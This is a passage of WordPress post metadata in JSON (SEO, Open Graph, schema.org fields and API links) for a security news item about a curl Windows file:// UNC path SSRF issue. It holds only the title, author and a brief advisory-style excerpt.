redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32127","og_locale":"en_US","og_type":"article","og_title":"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-18T21:31:28&#8243;,&#8221;description&#8221;:&#8221;## Vulnerability Detailsn- **CVSSv3:** 7.5 (High) &#8211; Windows onlyn- **File:** `lib\/urlapi.c:974-1030`n- **Issue:** Windows file:\/\/ URLs accept UNC paths to remote serversn- **Impact:** SSRF, unauthorized network...","og_url":"https:\/\/zero.redgem.net\/?p=32127","og_site_name":"zero redgem","article_published_time":"2025-12-18T15:48:26+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32127#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32127"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649","datePublished":"2025-12-18T15:48:26+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32127"},"wordCount":2142,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32127#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32127","url":"https:\/\/zero.redgem.net\/?p=32127","name":"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-18T15:48:26+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32127#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32127"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32127#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32127"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32127\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}